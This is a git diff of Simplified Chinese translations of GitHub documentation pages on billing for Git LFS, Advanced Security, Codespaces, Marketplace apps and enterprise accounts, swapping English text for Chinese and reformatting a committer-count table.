-shortTitle: Downgrade Git LFS storage
+shortTitle: 降级 Git LFS 存储
 ---
-When you downgrade your number of data packs, your change takes effect on your next billing date. For more information, see "[About billing for {% data variables.large_files.product_name_long %}](/articles/about-billing-for-git-large-file-storage)."
 
-## Downgrading storage and bandwidth for a personal account
+降级数据包数量后，更改将在下一个结算日期生效。 更多信息请参阅“[关于 {% data variables.large_files.product_name_long %}](/articles/about-billing-for-git-large-file-storage) 的计费”。
+
+## 降级个人帐户的存储和带宽
 
 {% data reusables.user_settings.access_settings %}
 {% data reusables.user_settings.billing_plans %}
 {% data reusables.dotcom_billing.lfs-remove-data %}
 {% data reusables.large_files.downgrade_data_packs %}
 
-## Downgrading storage and bandwidth for an organization
+## 降级组织的存储和带宽
 
 {% data reusables.dotcom_billing.org-billing-perms %}
 
diff --git a/translations/zh-CN/content/billing/managing-billing-for-git-large-file-storage/index.md b/translations/zh-CN/content/billing/managing-billing-for-git-large-file-storage/index.md
index 1705e89890..4ed2d64515 100644
--- a/translations/zh-CN/content/billing/managing-billing-for-git-large-file-storage/index.md
+++ b/translations/zh-CN/content/billing/managing-billing-for-git-large-file-storage/index.md
@@ -1,7 +1,7 @@
 ---
-title: Managing billing for Git Large File Storage
+title: 管理 Git Large File Storage 的计费
 shortTitle: Git Large File Storage
-intro: 'You can view usage for, upgrade, and downgrade {% data variables.large_files.product_name_long %}.'
+intro: '您可以查看使用情况、升级和降级 {% data variables.large_files.product_name_long %}。'
 redirect_from:
   - /github/setting-up-and-managing-billing-and-payments-on-github/managing-billing-for-git-large-file-storage
   - /articles/managing-large-file-storage-and-bandwidth-for-your-personal-account
diff --git a/translations/zh-CN/content/billing/managing-billing-for-git-large-file-storage/upgrading-git-large-file-storage.md b/translations/zh-CN/content/billing/managing-billing-for-git-large-file-storage/upgrading-git-large-file-storage.md
index 524d077114..fe63bf23c7 100644
--- a/translations/zh-CN/content/billing/managing-billing-for-git-large-file-storage/upgrading-git-large-file-storage.md
+++ b/translations/zh-CN/content/billing/managing-billing-for-git-large-file-storage/upgrading-git-large-file-storage.md
@@ -1,6 +1,6 @@
 ---
-title: Upgrading Git Large File Storage
-intro: 'You can purchase additional data packs to increase your monthly bandwidth quota and total storage capacity for {% data variables.large_files.product_name_short %}.'
+title: 升级 Git Large File Storage
+intro: '您可以购买额外的数据包以增加 {% data variables.large_files.product_name_short %} 的每月带宽配额和总存储容量。'
 redirect_from:
   - /github/setting-up-and-managing-billing-and-payments-on-github/upgrading-git-large-file-storage
   - /articles/purchasing-additional-storage-and-bandwidth-for-a-personal-account
@@ -16,9 +16,10 @@ topics:
   - Organizations
   - Upgrades
   - User account
-shortTitle: Upgrade Git LFS storage
+shortTitle: 升级 Git LFS 存储
 ---
-## Purchasing additional storage and bandwidth for a personal account
+
+## 为个人帐户购买额外的存储空间和带宽
 
 {% data reusables.user_settings.access_settings %}
 {% data reusables.user_settings.billing_plans %}
@@ -26,7 +27,7 @@ shortTitle: Upgrade Git LFS storage
 {% data reusables.large_files.pack_selection %}
 {% data reusables.large_files.pack_confirm %}
 
-## Purchasing additional storage and bandwidth for an organization
+## 为组织购买额外的存储空间和带宽
 
 {% data reusables.dotcom_billing.org-billing-perms %}
 
@@ -35,9 +36,9 @@ shortTitle: Upgrade Git LFS storage
 {% data reusables.large_files.pack_selection %}
 {% data reusables.large_files.pack_confirm %}
 
-## Further reading
+## 延伸阅读
 
-- "[About billing for {% data variables.large_files.product_name_long %}](/articles/about-billing-for-git-large-file-storage)"
-- "[About storage and bandwidth usage](/articles/about-storage-and-bandwidth-usage)"
-- "[Viewing your {% data variables.large_files.product_name_long %} usage](/articles/viewing-your-git-large-file-storage-usage)"
-- "[Versioning large files](/articles/versioning-large-files)"
+- "[关于 {% data variables.large_files.product_name_long %} 的计费](/articles/about-billing-for-git-large-file-storage)"
+- "[关于存储空间和带宽的使用](/articles/about-storage-and-bandwidth-usage)"
+- "[查看您的 {% data variables.large_files.product_name_long %} 使用情况](/articles/viewing-your-git-large-file-storage-usage)"
+- “[大文件版本管理](/articles/versioning-large-files)”
diff --git a/translations/zh-CN/content/billing/managing-billing-for-git-large-file-storage/viewing-your-git-large-file-storage-usage.md b/translations/zh-CN/content/billing/managing-billing-for-git-large-file-storage/viewing-your-git-large-file-storage-usage.md
index 3cdfaa78d0..20224d8250 100644
--- a/translations/zh-CN/content/billing/managing-billing-for-git-large-file-storage/viewing-your-git-large-file-storage-usage.md
+++ b/translations/zh-CN/content/billing/managing-billing-for-git-large-file-storage/viewing-your-git-large-file-storage-usage.md
@@ -1,6 +1,6 @@
 ---
-title: Viewing your Git Large File Storage usage
-intro: 'You can audit your account''s monthly bandwidth quota and remaining storage for {% data variables.large_files.product_name_short %}.'
+title: 查看您的 Git Large File Storage 使用情况
+intro: '您可以审核帐户的每月带宽配额和 {% data variables.large_files.product_name_short %} 的剩余存储空间。'
 redirect_from:
   - /github/setting-up-and-managing-billing-and-payments-on-github/viewing-your-git-large-file-storage-usage
   - /articles/viewing-storage-and-bandwidth-usage-for-a-personal-account
@@ -15,24 +15,25 @@ topics:
   - LFS
   - Organizations
   - User account
-shortTitle: View Git LFS usage
+shortTitle: 查看 Git LFS 使用情况
 ---
+
 {% data reusables.large_files.owner_quota_only %} {% data reusables.large_files.does_not_carry %}
 
-## Viewing storage and bandwidth usage for a personal account
+## 查看个人帐户的存储空间和带宽使用情况
 
 {% data reusables.user_settings.access_settings %}
 {% data reusables.user_settings.billing_plans %}
 {% data reusables.dotcom_billing.lfs-data %}
 
-## Viewing storage and bandwidth usage for an organization
+## 查看组织的存储空间和带宽使用情况
 
 {% data reusables.dotcom_billing.org-billing-perms %}
 
 {% data reusables.organizations.billing-settings %}
 {% data reusables.dotcom_billing.lfs-data %}
 
-## Further reading
+## 延伸阅读
 
-- "[About storage and bandwidth usage](/articles/about-storage-and-bandwidth-usage)"
-- "[Upgrading {% data variables.large_files.product_name_long %}](/articles/upgrading-git-large-file-storage/)"
+- "[关于存储空间和带宽的使用](/articles/about-storage-and-bandwidth-usage)"
+- “[升级 {% data variables.large_files.product_name_long %}](/articles/upgrading-git-large-file-storage/)”
diff --git a/translations/zh-CN/content/billing/managing-billing-for-github-advanced-security/about-billing-for-github-advanced-security.md b/translations/zh-CN/content/billing/managing-billing-for-github-advanced-security/about-billing-for-github-advanced-security.md
index 6a8a95fbad..c8e0d108a9 100644
--- a/translations/zh-CN/content/billing/managing-billing-for-github-advanced-security/about-billing-for-github-advanced-security.md
+++ b/translations/zh-CN/content/billing/managing-billing-for-github-advanced-security/about-billing-for-github-advanced-security.md
@@ -19,19 +19,19 @@ topics:
 shortTitle: Advanced Security billing
 ---
 
-## About billing for {% data variables.product.prodname_GH_advanced_security %}
+## 关于 {% data variables.product.prodname_GH_advanced_security %} 的计费
 
 {% ifversion fpt %}
 
-If you want to use {% data variables.product.prodname_GH_advanced_security %} features on any repository apart from a public repository on {% data variables.product.prodname_dotcom_the_website %}, you will need a {% data variables.product.prodname_GH_advanced_security %} license, available with {% data variables.product.prodname_ghe_cloud %} or {% data variables.product.prodname_ghe_server %}. For more information about {% data variables.product.prodname_GH_advanced_security %}, see "[About {% data variables.product.prodname_GH_advanced_security %}](/github/getting-started-with-github/about-github-advanced-security)."
+If you want to use {% data variables.product.prodname_GH_advanced_security %} features on any repository apart from a public repository on {% data variables.product.prodname_dotcom_the_website %}, you will need a {% data variables.product.prodname_GH_advanced_security %} license, available with {% data variables.product.prodname_ghe_cloud %} or {% data variables.product.prodname_ghe_server %}. 有关 {% data variables.product.prodname_GH_advanced_security %} 的更多信息，请参阅“[关于 {% data variables.product.prodname_GH_advanced_security %}](/github/getting-started-with-github/about-github-advanced-security)”。
 
 {% elsif ghec %}
 
-If you want to use {% data variables.product.prodname_GH_advanced_security %} features on any repository apart from a public repository on {% data variables.product.prodname_dotcom_the_website %}, you will need a {% data variables.product.prodname_GH_advanced_security %} license. For more information about {% data variables.product.prodname_GH_advanced_security %}, see "[About {% data variables.product.prodname_GH_advanced_security %}](/github/getting-started-with-github/about-github-advanced-security)."
+If you want to use {% data variables.product.prodname_GH_advanced_security %} features on any repository apart from a public repository on {% data variables.product.prodname_dotcom_the_website %}, you will need a {% data variables.product.prodname_GH_advanced_security %} license. 有关 {% data variables.product.prodname_GH_advanced_security %} 的更多信息，请参阅“[关于 {% data variables.product.prodname_GH_advanced_security %}](/github/getting-started-with-github/about-github-advanced-security)”。
 
 {% elsif ghes %}
 
-You can make extra features for code security available to users by buying and uploading a license for {% data variables.product.prodname_GH_advanced_security %}. For more information about {% data variables.product.prodname_GH_advanced_security %}, see "[About {% data variables.product.prodname_GH_advanced_security %}](/github/getting-started-with-github/about-github-advanced-security)."
+您可以通过购买和上传 {% data variables.product.prodname_GH_advanced_security %} 许可为用户提供额外的代码安全功能。 有关 {% data variables.product.prodname_GH_advanced_security %} 的更多信息，请参阅“[关于 {% data variables.product.prodname_GH_advanced_security %}](/github/getting-started-with-github/about-github-advanced-security)”。
 
 {% endif %}
 
@@ -43,7 +43,7 @@ You can make extra features for code security available to users by buying and u
 
 To discuss licensing {% data variables.product.prodname_GH_advanced_security %} for your enterprise, contact {% data variables.contact.contact_enterprise_sales %}.
 
-## About committer numbers for {% data variables.product.prodname_GH_advanced_security %}
+## 关于 {% data variables.product.prodname_GH_advanced_security %} 的提交者数量
 
 {% data reusables.advanced-security.about-committer-numbers-ghec-ghes %}
 
@@ -53,11 +53,11 @@ To discuss licensing {% data variables.product.prodname_GH_advanced_security %}
 
 {% endif %}
 
-You can enforce policies to allow or disallow the use of {% data variables.product.prodname_advanced_security %} by organizations owned by your enterprise account. For more information, see "[Enforcing policies for {% data variables.product.prodname_advanced_security %} in your enterprise]({% ifversion fpt %}/enterprise-cloud@latest/{% endif %}/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-advanced-security-in-your-enterprise){% ifversion fpt %}" in the {% data variables.product.prodname_ghe_cloud %} documentation.{% else %}."{% endif %}
+您可以执行策略以允许或不允许企业帐户拥有的组织使用 {% data variables.product.prodname_advanced_security %}。 For more information, see "[Enforcing policies for {% data variables.product.prodname_advanced_security %} in your enterprise]({% ifversion fpt %}/enterprise-cloud@latest/{% endif %}/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-advanced-security-in-your-enterprise){% ifversion fpt %}" in the {% data variables.product.prodname_ghe_cloud %} documentation.{% else %}."{% endif %}
 
 {% ifversion fpt or ghes or ghec %}
 
-For more information on viewing license usage, see "[Viewing your {% data variables.product.prodname_GH_advanced_security %} usage](/billing/managing-billing-for-github-advanced-security/viewing-your-github-advanced-security-usage)."
+有关查看许可使用情况的更多信息，请参阅“[查看 {% data variables.product.prodname_GH_advanced_security %} 使用情况](/billing/managing-billing-for-github-advanced-security/viewing-your-github-advanced-security-usage)”。
 
 {% endif %}
 
@@ -65,13 +65,91 @@ For more information on viewing license usage, see "[Viewing your {% data variab
 
 The following example timeline demonstrates how active committer count for {% data variables.product.prodname_GH_advanced_security %} could change over time in an enterprise. For each month, you will find events, along with the resulting committer count.
 
-| Date | Events during the month | Total committers | 
-| :- | :- | -: | 
-| <nobr>April 15</nobr> | A member of your enterprise enables {% data variables.product.prodname_GH_advanced_security %} for repository **X**. Repository **X** has 50 committers over the past 90 days. | **50** | 
-| <nobr>May 1</nobr> | Developer **A** leaves the team working on repository **X**. Developer **A**'s contributions continue to count for 90 days. | **50** | **50** |
-| <nobr>August 1</nobr> | Developer **A**'s contributions no longer count towards the licences required, because 90 days have passed. | <sub>_50 - 1_</sub></br>**49** | 
-| <nobr>August 15</nobr> | A member of your enterprise enables {% data variables.product.prodname_GH_advanced_security %} for a second repository, repository **Y**. In the last 90 days, a total of 20 developers contributed to that repository. Of those 20 developers, 10 also recently worked on repo **X** and do not require additional licenses. | <sub>_49 + 10_</sub><br/>**59** | 
-| <nobr>August 16</nobr> | A member of your enterprise disables {% data variables.product.prodname_GH_advanced_security %} for repository **X**. Of the 49 developers who were working on repository **X**, 10 still also work on repository **Y**, which has a total of 20 developers contributing in the last 90 days. | <sub>_49 - 29_</sub><br/>**20** |
+<table spaces-before="0">
+  <tr>
+    <th align="left">
+      日期
+    </th>
+    
+    <th align="left">
+      Events during the month
+    </th>
+    
+    <th align="right">
+      Total committers
+    </th>
+  </tr>
+  
+  <tr>
+    <td align="left">
+      <nobr>15年4月</nobr>
+    </td>
+    
+    <td align="left">
+      A member of your enterprise enables {% data variables.product.prodname_GH_advanced_security %} for repository <strong x-id="1">X</strong>. Repository <strong x-id="1">X</strong> has 50 committers over the past 90 days.
+    </td>
+    
+    <td align="right">
+      <strong x-id="1">50</strong>
+    </td>
+  </tr>
+  
+  <tr>
+    <td align="left">
+      <nobr>May 1</nobr>
+    </td>
+    
+    <td align="left">
+      Developer <strong x-id="1">A</strong> leaves the team working on repository <strong x-id="1">X</strong>. Developer <strong x-id="1">A</strong>'s contributions continue to count for 90 days.
+    </td>
+    
+    <td align="right">
+      <strong x-id="1">50</strong> | <strong x-id="1">50</strong>
+    </td>
+  </tr>
+  
+  <tr>
+    <td align="left">
+      <nobr>August 1</nobr>
+    </td>
+    
+    <td align="left">
+      Developer <strong x-id="1">A</strong>'s contributions no longer count towards the licences required, because 90 days have passed.
+    </td>
+    
+    <td align="right">
+      <sub>_50 - 1_</sub></br><strong x-id="1">49</strong>
+    </td>
+  </tr>
+  
+  <tr>
+    <td align="left">
+      <nobr>15年8月</nobr>
+    </td>
+    
+    <td align="left">
+      A member of your enterprise enables {% data variables.product.prodname_GH_advanced_security %} for a second repository, repository <strong x-id="1">Y</strong>. In the last 90 days, a total of 20 developers contributed to that repository. Of those 20 developers, 10 also recently worked on repo <strong x-id="1">X</strong> and do not require additional licenses.
+    </td>
+    
+    <td align="right">
+      <sub>_49 + 10_</sub><br/><strong x-id="1">59</strong>
+    </td>
+  </tr>
+  
+  <tr>
+    <td align="left">
+      <nobr>16年8月</nobr>
+    </td>
+    
+    <td align="left">
+      A member of your enterprise disables {% data variables.product.prodname_GH_advanced_security %} for repository <strong x-id="1">X</strong>. Of the 49 developers who were working on repository <strong x-id="1">X</strong>, 10 still also work on repository <strong x-id="1">Y</strong>, which has a total of 20 developers contributing in the last 90 days.
+    </td>
+    
+    <td align="right">
+      <sub>_49 - 29_</sub><br/><strong x-id="1">20</strong>
+    </td>
+  </tr>
+</table>
 
 {% note %}
 
diff --git a/translations/zh-CN/content/billing/managing-billing-for-github-codespaces/about-billing-for-codespaces.md b/translations/zh-CN/content/billing/managing-billing-for-github-codespaces/about-billing-for-codespaces.md
index 8f4c16846b..4403b3f7b4 100644
--- a/translations/zh-CN/content/billing/managing-billing-for-github-codespaces/about-billing-for-codespaces.md
+++ b/translations/zh-CN/content/billing/managing-billing-for-github-codespaces/about-billing-for-codespaces.md
@@ -48,6 +48,12 @@ If you purchased {% data variables.product.prodname_enterprise %} through a Micr
 
 {% data reusables.codespaces.exporting-changes %}
 
+## Limiting the choice of machine types
+
+The type of machine a user chooses when they create a codespace affects the per-minute charge for that codespace, as shown above.
+
+Organization owners can create a policy to restrict the machine types that are available to users. For more information, see "[Restricting access to machine types](/codespaces/managing-codespaces-for-your-organization/restricting-access-to-machine-types)."
+
 ## How billing is handled for forked repositories
 
 {% data variables.product.prodname_codespaces %} can only be used in organizations where a billable owner has been defined. To incur charges to the organization, the user must be a member or collaborator, otherwise they cannot create a codespace.
diff --git a/translations/zh-CN/content/billing/managing-billing-for-github-codespaces/managing-spending-limits-for-codespaces.md b/translations/zh-CN/content/billing/managing-billing-for-github-codespaces/managing-spending-limits-for-codespaces.md
index e2bd5e1abd..3e41ada406 100644
--- a/translations/zh-CN/content/billing/managing-billing-for-github-codespaces/managing-spending-limits-for-codespaces.md
+++ b/translations/zh-CN/content/billing/managing-billing-for-github-codespaces/managing-spending-limits-for-codespaces.md
@@ -57,3 +57,8 @@ If you purchased {% data variables.product.prodname_enterprise %} through a Micr
 Email notifications are sent to account owners and billing managers when spending reaches 50%, 75%, and 90% of your account's spending limit.
 
 You can disable these notifications anytime by navigating to the bottom of the **Spending Limit** page.
+
+## 延伸阅读
+
+- "[Restricting access to machine types](/codespaces/managing-codespaces-for-your-organization/restricting-access-to-machine-types)"
+- "[Managing billing for Codespaces in your organization](/codespaces/managing-codespaces-for-your-organization/managing-billing-for-codespaces-in-your-organization)"
diff --git a/translations/zh-CN/content/billing/managing-billing-for-github-codespaces/viewing-your-codespaces-usage.md b/translations/zh-CN/content/billing/managing-billing-for-github-codespaces/viewing-your-codespaces-usage.md
index f7b88c18e7..053ea411d8 100644
--- a/translations/zh-CN/content/billing/managing-billing-for-github-codespaces/viewing-your-codespaces-usage.md
+++ b/translations/zh-CN/content/billing/managing-billing-for-github-codespaces/viewing-your-codespaces-usage.md
@@ -19,6 +19,7 @@ topics:
 
 {% data reusables.organizations.billing-settings %}
 {% data reusables.dotcom_billing.codespaces-minutes %}
+{% data reusables.dotcom_billing.codespaces-report-download %}
 
 ## 查看企业帐户的 {% data variables.product.prodname_codespaces %} 使用情况
 
diff --git a/translations/zh-CN/content/billing/managing-billing-for-github-marketplace-apps/canceling-a-github-marketplace-app.md b/translations/zh-CN/content/billing/managing-billing-for-github-marketplace-apps/canceling-a-github-marketplace-app.md
index 6d6d6bba9d..68983776b1 100644
--- a/translations/zh-CN/content/billing/managing-billing-for-github-marketplace-apps/canceling-a-github-marketplace-app.md
+++ b/translations/zh-CN/content/billing/managing-billing-for-github-marketplace-apps/canceling-a-github-marketplace-app.md
@@ -1,6 +1,6 @@
 ---
-title: Canceling a GitHub Marketplace app
-intro: 'You can cancel and remove a {% data variables.product.prodname_marketplace %} app from your account at any time.'
+title: 取消 GitHub Marketplace 应用程序
+intro: '您可以随时从您的帐户取消和删除 {% data variables.product.prodname_marketplace %} 应用程序。'
 redirect_from:
   - /github/setting-up-and-managing-billing-and-payments-on-github/canceling-a-github-marketplace-app
   - /articles/canceling-an-app-for-your-personal-account
@@ -17,29 +17,30 @@ topics:
   - Organizations
   - Trials
   - User account
-shortTitle: Cancel a Marketplace app
+shortTitle: 取消 Marketplace app
 ---
-When you cancel an app, your subscription remains active until the end of your current billing cycle. The cancellation takes effect on your next billing date. For more information, see "[About billing for {% data variables.product.prodname_marketplace %}](/articles/about-billing-for-github-marketplace)."
 
-When you cancel a free trial on a paid plan, your subscription is immediately canceled and you will lose access to the app. If you don't cancel your free trial within the trial period, the payment method on file for your account will be charged for the plan you chose at the end of the trial period. For more information, see "[About billing for {% data variables.product.prodname_marketplace %}](/articles/about-billing-for-github-marketplace)."
+取消订阅后，您的订阅在当前结算周期结束之前将保持有效。 取消在下一个结算日期生效。 更多信息请参阅“[关于 {% data variables.product.prodname_marketplace %} 的计费](/articles/about-billing-for-github-marketplace)”。
+
+当您取消付费计划中的免费试用时，您的订阅将立即被取消，您将失去对该应用程序的访问权限。 如果您在试用期内未取消免费试用，则您将在试用期结束时，通过您的帐户中备案的付款方式为您选择的计划付费。 更多信息请参阅“[关于 {% data variables.product.prodname_marketplace %} 的计费](/articles/about-billing-for-github-marketplace)”。
 
 {% data reusables.marketplace.downgrade-marketplace-only %}
 
-## Canceling an app for your personal account
+## 取消个人帐户的应用程序
 
 {% data reusables.user_settings.access_settings %}
 {% data reusables.user_settings.billing_plans %}
 {% data reusables.marketplace.cancel-app-billing-settings %}
 {% data reusables.marketplace.cancel-app %}
 
-## Canceling a free trial for an app for your personal account
+## 取消个人帐户的应用程序免费试用
 
 {% data reusables.user_settings.access_settings %}
 {% data reusables.user_settings.billing_plans %}
 {% data reusables.marketplace.cancel-free-trial-billing-settings %}
 {% data reusables.marketplace.cancel-app %}
 
-## Canceling an app for your organization
+## 取消组织的应用程序
 
 {% data reusables.marketplace.marketplace-org-perms %}
 
@@ -50,7 +51,7 @@ When you cancel a free trial on a paid plan, your subscription is immediately ca
 {% data reusables.marketplace.cancel-app-billing-settings %}
 {% data reusables.marketplace.cancel-app %}
 
-## Canceling a free trial for an app for your organization
+## 取消组织的应用程序免费试用
 
 {% data reusables.marketplace.marketplace-org-perms %}
 
diff --git a/translations/zh-CN/content/billing/managing-billing-for-github-marketplace-apps/downgrading-the-billing-plan-for-a-github-marketplace-app.md b/translations/zh-CN/content/billing/managing-billing-for-github-marketplace-apps/downgrading-the-billing-plan-for-a-github-marketplace-app.md
index 8a8f94379f..d10c6dcc71 100644
--- a/translations/zh-CN/content/billing/managing-billing-for-github-marketplace-apps/downgrading-the-billing-plan-for-a-github-marketplace-app.md
+++ b/translations/zh-CN/content/billing/managing-billing-for-github-marketplace-apps/downgrading-the-billing-plan-for-a-github-marketplace-app.md
@@ -1,6 +1,6 @@
 ---
-title: Downgrading the billing plan for a GitHub Marketplace app
-intro: 'If you''d like to use a different billing plan, you can downgrade your {% data variables.product.prodname_marketplace %} app at any time.'
+title: 降级 GitHub Marketplace 应用程序的结算方案
+intro: '如果您想要使用不同的结算方案，可以随时降级您的 {% data variables.product.prodname_marketplace %} 应用程序。'
 redirect_from:
   - /github/setting-up-and-managing-billing-and-payments-on-github/downgrading-the-billing-plan-for-a-github-marketplace-app
   - /articles/downgrading-an-app-for-your-personal-account
@@ -16,13 +16,14 @@ topics:
   - Marketplace
   - Organizations
   - User account
-shortTitle: Downgrade billing plan
+shortTitle: 降级结算方案
 ---
-When you downgrade an app, your subscription remains active until the end of your current billing cycle. The downgrade takes effect on your next billing date. For more information, see "[About billing for {% data variables.product.prodname_marketplace %}](/articles/about-billing-for-github-marketplace)."
+
+降级应用程序后，您的订阅在当前结算周期结束之前将保持有效。 降级会在下一个结算日期生效。 更多信息请参阅“[关于 {% data variables.product.prodname_marketplace %} 的计费](/articles/about-billing-for-github-marketplace)”。
 
 {% data reusables.marketplace.downgrade-marketplace-only %}
 
-## Downgrading an app for your personal account
+## 降级个人帐户的应用程序
 
 {% data reusables.user_settings.access_settings %}
 {% data reusables.user_settings.billing_plans %}
@@ -31,7 +32,7 @@ When you downgrade an app, your subscription remains active until the end of you
 {% data reusables.marketplace.choose-new-quantity %}
 {% data reusables.marketplace.issue-plan-changes %}
 
-## Downgrading an app for your organization
+## 降级组织的应用程序
 
 {% data reusables.marketplace.marketplace-org-perms %}
 
@@ -43,6 +44,6 @@ When you downgrade an app, your subscription remains active until the end of you
 {% data reusables.marketplace.choose-new-quantity %}
 {% data reusables.marketplace.issue-plan-changes %}
 
-## Further reading
+## 延伸阅读
 
-- "[Canceling a {% data variables.product.prodname_marketplace %} app](/articles/canceling-a-github-marketplace-app/)"
+- “[取消 {% data variables.product.prodname_marketplace %} 应用程序](/articles/canceling-a-github-marketplace-app/)”
diff --git a/translations/zh-CN/content/billing/managing-billing-for-github-marketplace-apps/index.md b/translations/zh-CN/content/billing/managing-billing-for-github-marketplace-apps/index.md
index 3b0caf19f6..acb441036b 100644
--- a/translations/zh-CN/content/billing/managing-billing-for-github-marketplace-apps/index.md
+++ b/translations/zh-CN/content/billing/managing-billing-for-github-marketplace-apps/index.md
@@ -1,7 +1,7 @@
 ---
-title: Managing billing for GitHub Marketplace apps
-shortTitle: GitHub Marketplace apps
-intro: 'You can upgrade, downgrade, or cancel {% data variables.product.prodname_marketplace %} apps at any time.'
+title: 管理 GitHub Marketplace 应用程序的计费
+shortTitle: GitHub Marketplace app
+intro: '您可以随时升级、降级或取消 {% data variables.product.prodname_marketplace %} 应用程序。'
 redirect_from:
   - /github/setting-up-and-managing-billing-and-payments-on-github/managing-billing-for-github-marketplace-apps
   - /articles/managing-your-personal-account-s-apps
diff --git a/translations/zh-CN/content/billing/managing-billing-for-github-marketplace-apps/upgrading-the-billing-plan-for-a-github-marketplace-app.md b/translations/zh-CN/content/billing/managing-billing-for-github-marketplace-apps/upgrading-the-billing-plan-for-a-github-marketplace-app.md
index d381202232..8aa67ab9a0 100644
--- a/translations/zh-CN/content/billing/managing-billing-for-github-marketplace-apps/upgrading-the-billing-plan-for-a-github-marketplace-app.md
+++ b/translations/zh-CN/content/billing/managing-billing-for-github-marketplace-apps/upgrading-the-billing-plan-for-a-github-marketplace-app.md
@@ -1,6 +1,6 @@
 ---
-title: Upgrading the billing plan for a GitHub Marketplace app
-intro: 'You can upgrade your {% data variables.product.prodname_marketplace %} app to a different plan at any time.'
+title: 升级 GitHub Marketplace 应用程序的结算方案
+intro: '您可以随时将 {% data variables.product.prodname_marketplace %} 应用程序升级为不同的方案。'
 redirect_from:
   - /github/setting-up-and-managing-billing-and-payments-on-github/upgrading-the-billing-plan-for-a-github-marketplace-app
   - /articles/upgrading-an-app-for-your-personal-account
@@ -16,11 +16,12 @@ topics:
   - Organizations
   - Upgrades
   - User account
-shortTitle: Upgrade billing plan
+shortTitle: 升级结算方案
 ---
-When you upgrade an app, your payment method is charged a prorated amount based on the time remaining until your next billing date. For more information, see "[About billing for {% data variables.product.prodname_marketplace %}](/articles/about-billing-for-github-marketplace)."
 
-## Upgrading an app for your personal account
+升级应用程序时，您的付款方式会基于到下一结算日期之前剩余的时间按比例收费。 更多信息请参阅“[关于 {% data variables.product.prodname_marketplace %} 的计费](/articles/about-billing-for-github-marketplace)”。
+
+## 升级个人帐户的应用程序
 
 {% data reusables.user_settings.access_settings %}
 {% data reusables.user_settings.billing_plans %}
@@ -29,7 +30,7 @@ When you upgrade an app, your payment method is charged a prorated amount based
 {% data reusables.marketplace.choose-new-quantity %}
 {% data reusables.marketplace.issue-plan-changes %}
 
-## Upgrading an app for your organization
+## 升级组织的应用程序
 
 {% data reusables.marketplace.marketplace-org-perms %}
 
diff --git a/translations/zh-CN/content/billing/managing-billing-for-your-github-account/about-billing-for-github-accounts.md b/translations/zh-CN/content/billing/managing-billing-for-your-github-account/about-billing-for-github-accounts.md
index 30be96c9c4..f3dbcf61c4 100644
--- a/translations/zh-CN/content/billing/managing-billing-for-your-github-account/about-billing-for-github-accounts.md
+++ b/translations/zh-CN/content/billing/managing-billing-for-your-github-account/about-billing-for-github-accounts.md
@@ -1,6 +1,6 @@
 ---
-title: About billing for GitHub accounts
-intro: '{% data variables.product.company_short %} offers free and paid products for every developer or team.'
+title: 关于 GitHub 帐户的计费
+intro: '{% data variables.product.company_short %} 为每个开发者或团队提供免费和付费产品。'
 redirect_from:
   - /github/setting-up-and-managing-billing-and-payments-on-github/about-billing-for-github-accounts
   - /articles/what-is-the-total-cost-of-using-an-organization-account
@@ -21,14 +21,14 @@ topics:
   - Discounts
   - Fundamentals
   - Upgrades
-shortTitle: About billing
+shortTitle: 关于计费
 ---
 
-For more information about the products available for your account, see "[{% data variables.product.prodname_dotcom %}'s products](/articles/github-s-products)." You can see pricing and a full list of features for each product at <{% data variables.product.pricing_url %}>. {% data variables.product.product_name %} does not offer custom products or subscriptions.  
+For more information about the products available for your account, see "[{% data variables.product.prodname_dotcom %}'s products](/articles/github-s-products)." 您可以在 <{% data variables.product.pricing_url %}> 上查看每款产品的价格和完整功能列表。 {% data variables.product.product_name %} 不提供自定义产品或订阅。
 
-You can choose monthly or yearly billing, and you can upgrade or downgrade your subscription at any time. For more information, see "[Managing billing for your {% data variables.product.prodname_dotcom %} account](/articles/managing-billing-for-your-github-account)."
+您可以选择月度或年度计费，也可以随时升级或降级订阅。 更多信息请参阅“[管理您的 {% data variables.product.prodname_dotcom %} 帐户的计费](/articles/managing-billing-for-your-github-account)”。
 
-You can purchase other features and products with your existing {% data variables.product.product_name %} payment information. For more information, see "[About billing on {% data variables.product.prodname_dotcom %}](/articles/about-billing-on-github)."
+您可以使用现有 {% data variables.product.product_name %} 付款信息购买其他功能和产品。 更多信息请参阅“[关于 {% data variables.product.prodname_dotcom %} 的计费](/articles/about-billing-on-github)”。
 
 {% data reusables.accounts.accounts-billed-separately %}
 
@@ -36,7 +36,7 @@ You can purchase other features and products with your existing {% data variable
 
 {% tip %}
 
-**Tip:** {% data variables.product.prodname_dotcom %} has programs for verified students and academic faculty, which include academic discounts. For more information, visit [{% data variables.product.prodname_education %}](https://education.github.com/).
+**提示：** {% data variables.product.prodname_dotcom %} 为验证的学生和学院教师提供课程，可享有学术折扣。 更多信息请访问 [{% data variables.product.prodname_education %}](https://education.github.com/)。
 
 {% endtip %}
 
diff --git a/translations/zh-CN/content/billing/managing-billing-for-your-github-account/about-billing-for-your-enterprise.md b/translations/zh-CN/content/billing/managing-billing-for-your-github-account/about-billing-for-your-enterprise.md
index 57828095bb..9b3ff7437e 100644
--- a/translations/zh-CN/content/billing/managing-billing-for-your-github-account/about-billing-for-your-enterprise.md
+++ b/translations/zh-CN/content/billing/managing-billing-for-your-github-account/about-billing-for-your-enterprise.md
@@ -1,7 +1,6 @@
 ---
 title: About billing for your enterprise
 intro: 您可以查看企业的帐单信息。
-product: '{% data reusables.gated-features.enterprise-accounts %}'
 redirect_from:
   - /admin/overview/managing-billing-for-your-enterprise
   - /enterprise/admin/installation/managing-billing-for-github-enterprise
diff --git a/translations/zh-CN/content/billing/managing-billing-for-your-github-account/connecting-an-azure-subscription-to-your-enterprise.md b/translations/zh-CN/content/billing/managing-billing-for-your-github-account/connecting-an-azure-subscription-to-your-enterprise.md
index 465d99dff6..e5c16d9eda 100644
--- a/translations/zh-CN/content/billing/managing-billing-for-your-github-account/connecting-an-azure-subscription-to-your-enterprise.md
+++ b/translations/zh-CN/content/billing/managing-billing-for-your-github-account/connecting-an-azure-subscription-to-your-enterprise.md
@@ -1,7 +1,6 @@
 ---
 title: 将 Azure 订阅连接到您的企业
 intro: '您可以使用 Microsoft Enterprise 协议来启用并支付超过企业所含金额的 {% data variables.product.prodname_actions %} 和 {% data variables.product.prodname_registry %} 的使用。'
-product: '{% data reusables.gated-features.enterprise-accounts %}'
 redirect_from:
